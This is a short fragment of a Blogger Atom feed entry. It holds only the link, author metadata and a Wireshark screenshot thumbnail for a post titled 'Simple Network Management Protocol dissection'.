href='http://networkintruder.blogspot.com/2008/02/simple-networking-management-protocol.html' title='Simple Network Management Protocol dissection'/><author><name>stefan_teso</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_r-KWYFW2R1A/R8U72jjO3wI/AAAAAAAAAAo/FLnsZdH4xCA/s72-c/Screenshot-%28Untitled%29+-+Wireshark.png' height='72' width='72'/><thr:total>0</thr:total></entry></feed>
